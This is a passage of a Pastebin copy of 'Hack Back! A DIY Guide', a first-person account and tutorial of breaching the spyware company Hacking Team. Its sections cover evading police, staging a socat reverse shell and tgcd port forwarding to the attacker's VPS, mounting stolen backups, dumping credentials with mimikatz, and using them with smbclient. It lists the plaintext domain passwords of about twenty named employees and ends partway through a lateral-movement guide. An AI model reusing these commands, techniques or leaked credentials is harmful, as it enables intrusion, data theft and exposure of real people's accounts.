



Hack Back! A DIY Guide



A GUEST



APR 17TH, 2016



285,453



NEVER



Not a member of Pastebin yet? [Sign Up](#), it unlocks many cool features!

text 42.08 KB

raw

download

report

```
1.      _ _      _      _ _      _ _
2.      | | | | _ _ _ | | _ | _ ) _ _ _ | | _ |
3.      | | | | / _ \ / _ | | / / | _ \ / _ \ / _ | | / / |
4.      | _ | ( | | ( | < | | ) | ( | | ( | < | |
5.      | _ | | \ _ , | \ _ | | \ \ | _ / \ _ , | \ _ | | \ ( )
```

A DIY Guide

```
11.      , - . , - . _
12.      _ , - \ o 0 _ / ;
13.      / , \ _ \
14.      | \ - . , _ , / \
15.      \ \ - . _ / / , \
```

```

16.      / `-._-.-\` . /  \ `
17.      / /|  _-\ , /    \ \
18.      ( ( |.-" ` ' /\      \ `
19.      \ \ /      , , |      \ _
20.      \ |      o/o  /      \ .
21.      \      , /      /
22.      ( _ `;-;' _ `)      \ \
23.      `//' ` `||`      \ \
24.      _//      ||      _ _ _ _ _ _
25.      .-"-._-,(_)      .( _ )-.-"-.      | | | | | _ _ | |
26.      /      \      /      \      | | | _ | | | | |
27.      \      /      \      /      | | _ | | | | |
28.      `-----`      `-----`      _ | | _ | | _ | _
29.      #antisecc
30.
31.
32.
33.  --[ 1 - Introduction ]-----
34.
35.  You'll notice the change in language since the last edition [1]. The
36.  English-speaking world already has tons of books, talks, guides, and
37.  info about hacking. In that world, there's plenty of hackers better than me,
38.  but they misuse their talents working for "defense" contractors, for intelligence
39.  agencies, to protect banks and corporations, and to defend the status quo.
40.  Hacker culture was born in the US as a counterculture, but that origin only
41.  remains in its aesthetics - the rest has been assimilated. At least they can
42.  wear a t-shirt, dye their hair blue, use their hacker names, and feel like
43.  rebels while they work for the Man.

```

44.
45. You used to have to sneak into offices to leak documents [2]. You used to need
46. a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4].
47. Like the CNT said after the Gamma Group hack: "Let's take a step forward with
48. new forms of struggle" [5]. Hacking is a powerful tool, let's learn and fight!
49.
50. [1] <http://pastebin.com/raw.php?i=cRYvK4jb>
51. [2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
52. [3] <http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html>
53. [4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
54. [5] <http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group>
55.
56.
57. --[2 - Hacking Team]-----
58.
59. Hacking Team was a company that helped governments hack and spy on
60. journalists, activists, political opposition, and other threats to their power
61. [1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals
62. and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the
63. fascist slogan "boia chi molla". It'd be more correct to say "boia chi vende
64. RCS". They also claimed to have technology to solve the "problem" posed by Tor
65. and the darknet [13]. But seeing as I'm still free, I have my doubts about
66. its effectiveness.
67.
68. [1] <http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/>
69. [2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
70. [3] <http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/>
71. [4] <https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/>

72. [5] <https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/>
73. [6] <https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/>
74. [7] <http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/>
75. [8] <http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal>
76. [9] <https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/>
77. [10] <http://www.wired.com/2013/06/spy-tool-sold-to-governments/>
78. [11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
79. [12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
80. [13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web

81.

82.

83. --[3 - Stay safe out there]-----

84.

85. Unfortunately, our world is backwards. You get rich by doing bad things and go
86. to jail for doing good. Fortunately, thanks to the hard work of people like
87. the Tor project [1], you can avoid going to jail by taking a few simple
88. precautions:

89.

90. 1) Encrypt your hard disk [2]

91.

92. I guess when the police arrive to seize your computer, it means you've
93. already made a lot of mistakes, but it's better to be safe.

94.

95. 2) Use a virtual machine with all traffic routed through Tor

96.

97. This accomplishes two things. First, all your traffic is anonymized through
98. Tor. Second, keeping your personal life and your hacking on separate
99. computers helps you not to mix them by accident.

100.
101. You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or
102. something custom [6]. Here's [7] a detailed comparison.
103.
104. 3) (Optional) Don't connect directly to Tor
105.
106. Tor isn't a panacea. They can correlate the times you're connected to Tor
107. with the times your hacker handle is active. Also, there have been
108. successful attacks against Tor [8]. You can connect to Tor using other
109. peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for
110. cracking wifi. Another option is to connect to a VPN or a bridge node [10]
111. before Tor, but that's less secure because they can still correlate the
112. hacker's activity with your house's internet activity (this was used as
113. evidence against Jeremy Hammond [11]).
114.
115. The reality is that while Tor isn't perfect, it works quite well. When I
116. was young and reckless, I did plenty of stuff without any protection (I'm
117. referring to hacking) apart from Tor, that the police tried their hardest
118. to investigate, and I've never had any problems.
119.
120. [1] <https://www.torproject.org/>
121. [2] <https://info.securityinabox.org/es/chapter-4>
122. [3] <https://www.whonix.org/>
123. [4] <https://tails.boum.org/>
124. [5] <https://www.qubes-os.org/doc/privacy/torvm/>
125. [6] <https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy>
126. [7] https://www.whonix.org/wiki/Comparison_with_Others
127. [8] <https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/>

128. [9] <http://www.wifislax.com/>
129. [10] <https://www.torproject.org/docs/bridges.html.en>
130. [11] <http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html>
131.
132.
133. ----[3.1 - Infrastructure]-----
134.
135. I don't hack directly from Tor exit nodes. They're on blacklists, they're
136. slow, and they can't receive connect-backs. Tor protects my anonymity while I
137. connect to the infrastructure I use to hack, which consists of:
138.
139. 1) Domain Names
140.
141. For C&C addresses, and for DNS tunnels for guaranteed egress.
142.
143. 2) Stable Servers
144.
145. For use as C&C servers, to receive connect-back shells, to launch attacks,
146. and to store the loot.
147.
148. 3) Hacked Servers
149.
150. For use as pivots to hide the IP addresses of the stable servers. And for
151. when I want a fast connection without pivoting, for example to scan ports,
152. scan the whole internet, download a database with sqlmap, etc.
153.
154. Obviously, you have to use an anonymous payment method, like bitcoin (if it's
155. used carefully).

156.
157.
158. ----[3.2 - Attribution]-----
159.
160. In the news we often see attacks traced back to government-backed hacking
161. groups ("APTs"), because they repeatedly use the same tools, leave the same
162. footprints, and even use the same infrastructure (domains, emails, etc).
163. They're negligent because they can hack without legal consequences.
164.
165. I didn't want to make the police's work any easier by relating my hack of
166. Hacking Team with other hacks I've done or with names I use in my day-to-day
167. work as a blackhat hacker. So, I used new servers and domain names, registered
168. with new emails, and payed for with new bitcoin addresses. Also, I only used
169. tools that are publicly available, or things that I wrote specifically for
170. this attack, and I changed my way of doing some things to not leave my usual
171. forensic footprint.
172.
173.
174. --[4 - Information Gathering]-----
175.
176. Although it can be tedious, this stage is very important, since the larger the
177. attack surface, the easier it is to find a hole somewhere in it.
178.
179.
180. ----[4.1 - Technical Information]-----
181.
182. Some tools and techniques are:
183.

184. 1) Google

185.

186. A lot of interesting things can be found with a few well-chosen search
187. queries. For example, the identity of DPR [1]. The bible of Google hacking
188. is the book "Google Hacking for Penetration Testers". You can find a short
189. summary in Spanish at [2].

190.

191. 2) Subdomain Enumeration

192.

193. Often, a company's main website is hosted by a third party, and you'll find
194. the company's actual IP range thanks to subdomains like mx.company.com or
195. ns1.company.com. Also, sometimes there are things that shouldn't be exposed
196. in "hidden" subdomains. Useful tools for discovering domains and subdomains
197. are fierce [3], theHarvester [4], and recon-ng [5].

198.

199. 3) Whois lookups and reverse lookups

200.

201. With a reverse lookup using the whois information from a domain or IP range
202. of a company, you can find other domains and IP ranges. As far as I know,
203. there's no free way to do reverse lookups aside from a google "hack":

204.

205. "via della moscova 13" site:www.findip-address.com

206. "via della moscova 13" site:domaintools.com

207.

208. 4) Port scanning and fingerprinting

209.

210. Unlike the other techniques, this talks to the company's servers. I
211. include it in this section because it's not an attack, it's just

212. information gathering. The company's IDS might generate an alert, but you
213. don't have to worry since the whole internet is being scanned constantly.
214.
215. For scanning, nmap [6] is precise, and can fingerprint the majority of
216. services discovered. For companies with very large IP ranges, zmap [7] or
217. masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web
218. sites.
219.

220. [1] <http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html>
221. [2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
222. [3] <http://ha.ckers.org/fierce/>
223. [4] <https://github.com/laramies/theHarvester>
224. [5] <https://bitbucket.org/LaNMaSteR53/recon-ng>
225. [6] <https://nmap.org/>
226. [7] <https://zmap.io/>
227. [8] <https://github.com/robertdavidgraham/masscan>
228. [9] <http://www.morningstarsecurity.com/research/whatweb>
229. [10] <http://blindelephant.sourceforge.net/>
230.
231.

232. ----[4.2 - Social Information]-----
233.

234. For social engineering, it's useful to have information about the employees,
235. their roles, contact information, operating system, browser, plugins,
236. software, etc. Some resources are:

237.
238. 1) Google
239.

240. Here as well, it's the most useful tool.
241.
242. 2) theHarvester and recon-ng
243.
244. I already mentioned them in the previous section, but they have a lot more
245. functionality. They can find a lot of information quickly and
246. automatically. It's worth reading all their documentation.
247.
248. 3) LinkedIn
249.
250. A lot of information about the employees can be found here. The company's
251. recruiters are the most likely to accept your connection requests.
252.
253. 4) Data.com
254.
255. Previously known as jigsaw. They have contact information for many
256. employees.
257.
258. 5) File Metadata
259.
260. A lot of information about employees and their systems can be found in
261. metadata of files the company has published. Useful tools for finding
262. files on the company's website and extracting the metadata are metagoofil
263. [1] and FOCA [2].
264.
265. [1] <https://github.com/laramies/metagoofil>
266. [2] <https://www.elevenpaths.com/es/labstools/foca-2/index.html>
267.

268.
269. --[5 - Entering the network]-----
270.
271. There are various ways to get a foothold. Since the method I used against
272. Hacking Team is uncommon and a lot more work than is usually necessary, I'll
273. talk a little about the two most common ways, which I recommend trying first.
274.
275.
276. ----[5.1 - Social Engineering]-----
277.
278. Social engineering, specifically spear phishing, is responsible for the
279. majority of hacks these days. For an introduction in Spanish, see [1]. For
280. more information in English, see [2] (the third part, "Targeted Attacks"). For
281. fun stories about the social engineering exploits of past generations, see
282. [3]. I didn't want to try to spear phish Hacking Team, as their whole business
283. is helping governments spear phish their opponents, so they'd be much more
284. likely to recognize and investigate a spear phishing attempt.
285.
286. [1] <http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html>
287. [2] <http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/>
288. [3] <http://www.netcommunity.com/lestertheteacher/doc/ingsocial1.pdf>
289.
290.
291. ----[5.2 - Buying Access]-----
292.
293. Thanks to hardworking Russians and their exploit kits, traffic sellers, and
294. bot herders, many companies already have compromised computers in their
295. networks. Almost all of the Fortune 500, with their huge networks, have some

296. bots already inside. However, Hacking Team is a very small company, and most
297. of it's employees are infosec experts, so there was a low chance that they'd
298. already been compromised.
299.
300.

301. ----[5.3 - Technical Exploitation]-----
302.

303. After the Gamma Group hack, I described a process for searching for
304. vulnerabilities [1]. Hacking Team had one public IP range:
305. inetnum: 93.62.139.32 - 93.62.139.47
306. descr: HT public subnet
307.

308. Hacking Team had very little exposed to the internet. For example, unlike
309. Gamma Group, their customer support site needed a client certificate to
310. connect. What they had was their main website (a Joomla blog in which Joomscan
311. [2] didn't find anything serious), a mail server, a couple routers, two VPN
312. appliances, and a spam filtering appliance. So, I had three options: look for
313. a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
314. embedded devices. A 0day in an embedded device seemed like the easiest option,
315. and after two weeks of work reverse engineering, I got a remote root exploit.
316. Since the vulnerabilities still haven't been patched, I won't give more
317. details, but for more information on finding these kinds of vulnerabilities,
318. see [3] and [4].
319.

320. [1] <http://pastebin.com/raw.php?i=cRYvK4jb>
321. [2] <http://sourceforge.net/projects/joomscan/>
322. [3] <http://www.devttys0.com/>
323. [4] <https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A>

324.
325.
326. --[6 - Be Prepared]-----
327.
328. I did a lot of work and testing before using the exploit against Hacking Team.
329. I wrote a backdoored firmware, and compiled various post-exploitation tools
330. for the embedded device. The backdoor serves to protect the exploit. Using the
331. exploit just once and then returning through the backdoor makes it harder to
332. identify and patch the vulnerabilities.
333.
334. The post-exploitation tools that I'd prepared were:
335.
336. 1) busybox
337.
338. For all the standard Unix utilities that the system didn't have.
339.
340. 2) nmap
341.
342. To scan and fingerprint Hacking Team's internal network.
343.
344. 3) Responder.py
345.
346. The most useful tool for attacking windows networks when you have access to
347. the internal network, but no domain user.
348.
349. 4) Python
350.
351. To execute Responder.py

352.
353. 5) tcpdump
354.
355. For sniffing traffic.
356.
357. 6) dsniff
358.
359. For sniffing passwords from plaintext protocols like ftp, and for
360. arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR
361. and NaGA, but it was hard to compile it for the system.
362.
363. 7) socat
364.
365. For a comfortable shell with a pty:
366. my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
367. hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
368. tcp:my_server:my_port
369.
370. And useful for a lot more, it's a networking swiss army knife. See the
371. examples section of its documentation.
372.
373. 8) screen
374.
375. Like the shell with pty, it wasn't really necessary, but I wanted to feel
376. at home in Hacking Team's network.
377.
378. 9) a SOCKS proxy server
379.

```
380.     To use with proxychains to be able to access their local network from any
381.     program.
382.
383. 10) tgcd
384.
385.     For forwarding ports, like for the SOCKS server, through the firewall.
386.
387. [1] https://www.busybox.net/
388. [2] https://nmap.org/
389. [3] https://github.com/SpiderLabs/Responder
390. [4] https://github.com/bendmorris/static-python
391. [5] http://www.tcpdump.org/
392. [6] http://www.monkey.org/~dugsong/dsniff/
393. [7] http://www.dest-unreach.org/socat/
394. [8] https://www.gnu.org/software/screen/
395. [9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
396. [10] http://tgcd.sourceforge.net/
397.
398.
399. The worst thing that could happen would be for my backdoor or post-exploitation
400. tools to make the system unstable and cause an employee to investigate. So I
401. spent a week testing my exploit, backdoor, and post-exploitation tools in the
402. networks of other vulnerable companies before entering Hacking Team's network.
403.
404.
405. --[ 7 - Watch and Listen ]-----
406.
407. Now inside their internal network, I wanted to take a look around and think
```

```
408. about my next step. I started Responder.py in analysis mode (-A to listen
409. without sending poisoned responses), and did a slow scan with nmap.
410.
411.
412. --[ 8 - NoSQL Databases ]-----
413.
414. NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
415. community [1]. Just when I was worried that they'd finally patched all of the
416. authentication bypass bugs in MySQL [2][3][4][5], new databases came into
417. style that lack authentication by design. Nmap found a few in Hacking Team's
418. internal network:
419.
420. 27017/tcp open  mongodb      MongoDB 2.6.5
421. | mongodb-databases:
422. |   ok = 1
423. |   totalSizeMb = 47547
424. |   totalSize = 49856643072
425. ...
426. |_   version = 2.6.5
427.
428. 27017/tcp open  mongodb      MongoDB 2.6.5
429. | mongodb-databases:
430. |   ok = 1
431. |   totalSizeMb = 31987
432. |   totalSize = 33540800512
433. |   databases
434. ...
435. |_   version = 2.6.5
```


436.
437. They were the databases for test instances of RCS. The audio that RCS records
438. is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
439. from this. They were spying on themselves without meaning to.
440.
441. [1] <https://www.shodan.io/search?query=product%3Amongodb>
442. [2] <https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql>
443. [3] <http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html>
444. [4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
445. [5] <http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html>
446. [6] <https://ht.transparencytoolkit.org/audio/>
447.
448.
449. --[9 - Crossed Cables]-----
450.
451. Although it was fun to listen to recordings and see webcam images of Hacking
452. Team developing their malware, it wasn't very useful. Their insecure backups
453. were the vulnerability that opened their doors. According to their
454. documentation [1], their iSCSI devices were supposed to be on a separate
455. network, but nmap found a few in their subnet 192.168.1.200/24:
456.
457. Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
458. ...
459. 3260/tcp open iscsi?
460. | iscsi-info:
461. | Target: iqn.2000-01.com.synology:ht-synology.name
462. | Address: 192.168.200.66:3260,0
463. |_ Authentication: No authentication required

464.
465. Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
466. ...
467. 3260/tcp open iscsi?
468. | iscsi-info:
469. | Target: iqn.2000-01.com.synology:synology-backup.name
470. | Address: 10.0.1.72:3260,0
471. | Address: 192.168.200.72:3260,0
472. |_ Authentication: No authentication required
473.
474. iSCSI needs a kernel module, and it would've been difficult to compile it for
475. the embedded system. I forwarded the port so that I could mount it from a VPS:
476.
477. VPS: tgcd -L -p 3260 -q 42838
478. Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
479.
480. VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
481.
482. Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
483. because it thinks its IP is 192.168.200.72 instead of 127.0.0.1
484.
485. The way I solved it was:
486. iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
487.
488. And now, after:
489. iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
490.
491. ...the device file appears! We mount it:

```
492. vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
493.
494. and find backups of various virtual machines. The Exchange server seemed like
495. the most interesting. It was too big too download, but it was possible to
496. mount it remotely to look for interesting files:
497. $ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
498. $ fdisk -l /dev/loop0
499. /dev/loop0p1          2048 1258287103   629142528    7  HPFS/NTFS/exFAT
500.
501. so the offset is 2048 * 512 = 1048576
502. $ losetup -o 1048576 /dev/loop1 /dev/loop0
503. $ mount -o ro /dev/loop1 /mnt/exchange/
504.
505. now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
506. we find the hard disk of the VM, and mount it:
507. vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
508. mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
509.
510. ...and finally we've unpacked the Russian doll and can see all the files from
511. the old Exchange server in /mnt/part1
512.
513. [1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf
514.
515.
516. --[ 10 - From backups to domain admin ]-----
517.
518. What interested me most in the backup was seeing if it had a password or hash
519. that could be used to access the live server. I used pwdump, cachedump, and
```

```

520. lsadump [1] on the registry hives. lsadump found the password to the besadmin
521. service account:
522.
523. _SC_BlackBerry MDS Connection Service
524. 0000    16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
525. 0010    62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
526. 0020    21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!.!.....
527.
528. I used proxychains [2] with the socks server on the embedded device and
529. smbclient [3] to check the password:
530. proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
531.
532. It worked! The password for besadmin was still valid, and a local admin. I
533. used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
534. Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
535. got a bunch of passwords, including the Domain Admin:
536.
537. HACKINGTEAM BESAdmin      bes32678!!!
538. HACKINGTEAM Administrator uu8dd8ndd12!
539. HACKINGTEAM c.pozzi       P4ssword      <--- lol great sysadmin
540. HACKINGTEAM m.romeo       ioLK/(90
541. HACKINGTEAM l.guerra       4luc@=.=
542. HACKINGTEAM d.martinez     W4tudul3sp
543. HACKINGTEAM g.russo        GCBrs0s0705!
544. HACKINGTEAM a.scarafile    Cd4432996111
545. HACKINGTEAM r.viscardi     Ht2015!
546. HACKINGTEAM a.mino         A!e$$andra
547. HACKINGTEAM m.bettini      Ettore&Bella0314

```

```
548. HACKINGTEAM m.luppi          Blackou7
549. HACKINGTEAM s.gallucci       1S9i8m4o!
550. HACKINGTEAM d.milan          set!dob66
551. HACKINGTEAM w.furlan         Blu3.B3rry!
552. HACKINGTEAM d.romualdi       Rd13136f@#
553. HACKINGTEAM l.invernizzi     L0r3nz0123!
554. HACKINGTEAM e.ciceri         202571&2E
555. HACKINGTEAM e.rabe           erab@4HT!
556.
557. [1] https://github.com/Neohapsis/creddump7
558. [2] http://proxychains.sourceforge.net/
559. [3] https://www.samba.org/
560. [4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
561. [5] https://github.com/gentilkiwi/mimikatz
562.
563.
564. --[ 11 - Downloading the mail ]-----
565.
566. With the Domain Admin password, I have access to the email, the heart of the
567. company. Since with each step I take there's a chance of being detected, I
568. start downloading their email before continuing to explore. Powershell makes
569. it easy [1]. Curiously, I found a bug with Powershell's date handling. After
570. downloading the emails, it took me another couple weeks to get access to the
571. source code and everything else, so I returned every now and then to download
572. the new emails. The server was Italian, with dates in the format
573. day/month/year. I used:
574. -ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}}
575.
```

576. with New-MailboxExportRequest to download the new emails (in this case all
577. mail since June 5). The problem is it says the date is invalid if you
578. try a day larger than 12 (I imagine because in the US the month comes first
579. and you can't have a month above 12). It seems like Microsoft's engineers only
580. test their software with their own locale.

581.

582. [1] <http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/>

583.

584.

585. --[12 - Downloading Files]-----

586.

587. Now that I'd gotten Domain Admin, I started to download file shares using my
588. proxy and the -Tc option of smbclient, for example:

589.

590. proxychains smbclient '//192.168.1.230/FAE DiskStation' \
591. -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'

592.

593. I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
594. the torrent like that.

595.

596.

597. --[13 - Introduction to hacking windows domains]-----

598.

599. Before continuing with the story of the "weones culiaos" (Hacking Team), I
600. should give some general knowledge for hacking windows networks.

601.

602.

603. ----[13.1 - Lateral Movement]-----

604.
605. I'll give a brief review of the different techniques for spreading withing a
606. windows network. The techniques for remote execution require the password or
607. hash of a local admin on the target. By far, the most common way of obtaining
608. those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
609. and sekurlsa::msv, on the computers where you already have admin access. The
610. techniques for "in place" movement also require administrative privileges
611. (except for runas). The most important tools for privilege escalation are
612. PowerUp [2], and bypassuac [3].
613.
614. [1] https://adsecurity.org/?page_id=1821
615. [2] <https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp>
616. [3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
617.
618.

619. Remote Movement:

620.
621. 1) psexec

622.
623. The tried and true method for lateral movement on windows. You can use
624. psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's
625. invoke_psexec [4], or the builtin windows command "sc" [5]. For the
626. metasploit module, powershell empire, and pth-winexe [6], you just need the
627. hash, not the password. It's the most universal method (it works on any
628. windows computer with port 445 open), but it's also the least stealthy.
629. Event type 7045 "Service Control Manager" will appear in the event logs. In
630. my experience, no one has ever noticed during a hack, but it helps the
631. investigators piece together what the hacker did afterwards.

632.
633.
634.
635.
636.
637.
638.
639.
640.
641.
642.
643.
644.
645.
646.
647.
648.
649.
650.
651.
652.
653.
654.
655.
656.
657.
658.
659.

2) WMI

The most stealthy method. The WMI service is enabled on all windows computers, but except for servers, the firewall blocks it by default. You can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of wmiexec and pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin wmic [5]. All except wmic just need the hash.

3) PSRemoting [10]

It's disabled by default, and I don't recommend enabling new protocols. But, if the sysadmin has already enabled it, it's very convenient, especially if you use powershell for everything (and you should use powershell for almost everything, it will change [11] with powershell 5 and windows 10, but for now powershell makes it easy to do everything in RAM, avoid AV, and leave a small footprint)

4) Scheduled Tasks

You can execute remote programs with at and schtasks [5]. It works in the same situations where you could use psexec, and it also leaves a well known footprint [12].

5) GPO

If all those protocols are disabled or blocked by the firewall, once you're Domain Admin, you can use GPO to give users a login script, install an msi,

660. execute a scheduled task [13], or, like we'll see with the computer of
661. Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and
662. open the firewall.
663.
664. [1] <https://technet.microsoft.com/en-us/sysinternals/psexec.aspx>
665. [2] <https://sourceforge.net/projects/winexe/>
666. [3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
667. [4] http://www.powershell Empire.com/?page_id=523
668. [5] <http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/>
669. [6] <https://github.com/byt3bl33d3r/ptt-toolkit>
670. [7] <https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py>
671. [8] https://www.trustedsec.com/june-2015/no_psexec_needed/
672. [9] http://www.powershell Empire.com/?page_id=124
673. [10] <http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/>
674. [11] <https://adsecurity.org/?p=2277>
675. [12] <https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems>
676. [13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
677.
678.
679. "In place" Movement:
680.
681. 1) Token Stealing
682.
683. Once you have admin access on a computer, you can use the tokens of the
684. other users to access resources in the domain. Two tools for doing this are
685. incognito [1] and the mimikatz token::* commands [2].
686.
687. 2) MS14-068

688.
689. You can take advantage of a validation bug in Kerberos to generate Domain
690. Admin tickets [3][4][5].
691.
692. 3) Pass the Hash
693.
694. If you have a user's hash, but they're not logged in, you can use
695. sekurlsa::pth [2] to get a ticket for the user.
696.
697. 4) Process Injection
698.
699. Any RAT can inject itself into other processes. For example, the migrate
700. command in meterpreter and pupy [6], or the psinject [7] command in
701. powershell empire. You can inject into the process that has the token you
702. want.
703.
704. 5) runas
705.
706. This is sometimes very useful since it doesn't require admin privileges.
707. The command is part of windows, but if you don't have a GUI you can use
708. powershell [8].
709.
710. [1] <https://www.indetectables.net/viewtopic.php?p=211165>
711. [2] https://adsecurity.org/?page_id=1821
712. [3] <https://github.com/bidord/pykek>
713. [4] <https://adsecurity.org/?p=676>
714. [5] <http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html>
715. [6] <https://github.com/n1nj4sec/pupy>

716. [7] http://www.powershellempire.com/?page_id=273

717. [8] <https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1>

718.

719.

720. ----[13.2 - Persistence]-----

721.

722. Once you have access, you want to keep it. Really, persistence is only a

723. challenge for assholes like Hacking Team who target activists and other

724. individuals. To hack companies, persistence isn't needed since companies never

725. sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple

726. high-uptime servers. On the off chance that they all reboot at the same time,

727. I have passwords and a golden ticket [1] as backup access. You can read more

728. about the different techniques for persistence in windows here [2][3][4]. But

729. for hacking companies, it's not needed and it increases the risk of detection.

730.

731. [1] <http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/>

732. [2] <http://www.harmj0y.net/blog/empire/nothing-last-forever-persistence-with-empire/>

733. [3] <http://www.hexacorn.com/blog/category/autostart-persistence/>

734. [4] <https://blog.netspi.com/tag/persistence/>

735.

736.

737. ----[13.3 - Internal reconnaissance]-----

738.

739. The best tool these days for understanding windows networks is Powerview [1].

740. It's worth reading everything written by it's author [2], especially [3], [4],

741. [5], and [6]. Powershell itself is also quite powerful [7]. As there are still

742. many windows 2000 and 2003 servers without powershell, you also have to learn

743. the old school [8], with programs like netview.exe [9] or the windows builtin

744. "net view". Other techniques that I like are:

745.

746. 1) Downloading a list of file names

747.

748. With a Domain Admin account, you can download a list of all filenames in
749. the network with powerview:

750.

```
751. Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |  
752. select-string '^(\.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |  
753. select fullname | out-file -append files.txt}
```

754.

755. Later, you can read it at your leisure and choose which files to download.

756.

757. 2) Reading email

758.

759. As we've already seen, you can download email with powershell, and it has a
760. lot of useful information.

761.

762. 3) Reading sharepoint

763.

764. It's another place where many businesses store a lot of important
765. information. It can also be downloaded with powershell [10].

766.

767. 4) Active Directory [11]

768.

769. It has a lot of useful information about users and computers. Without being
770. Domain Admin, you can already get a lot of info with powerview and other
771. tools [12]. After getting Domain Admin, you should export all the AD

772. information with csvde or another tool.

773.

774. 5) Spy on the employees

775.

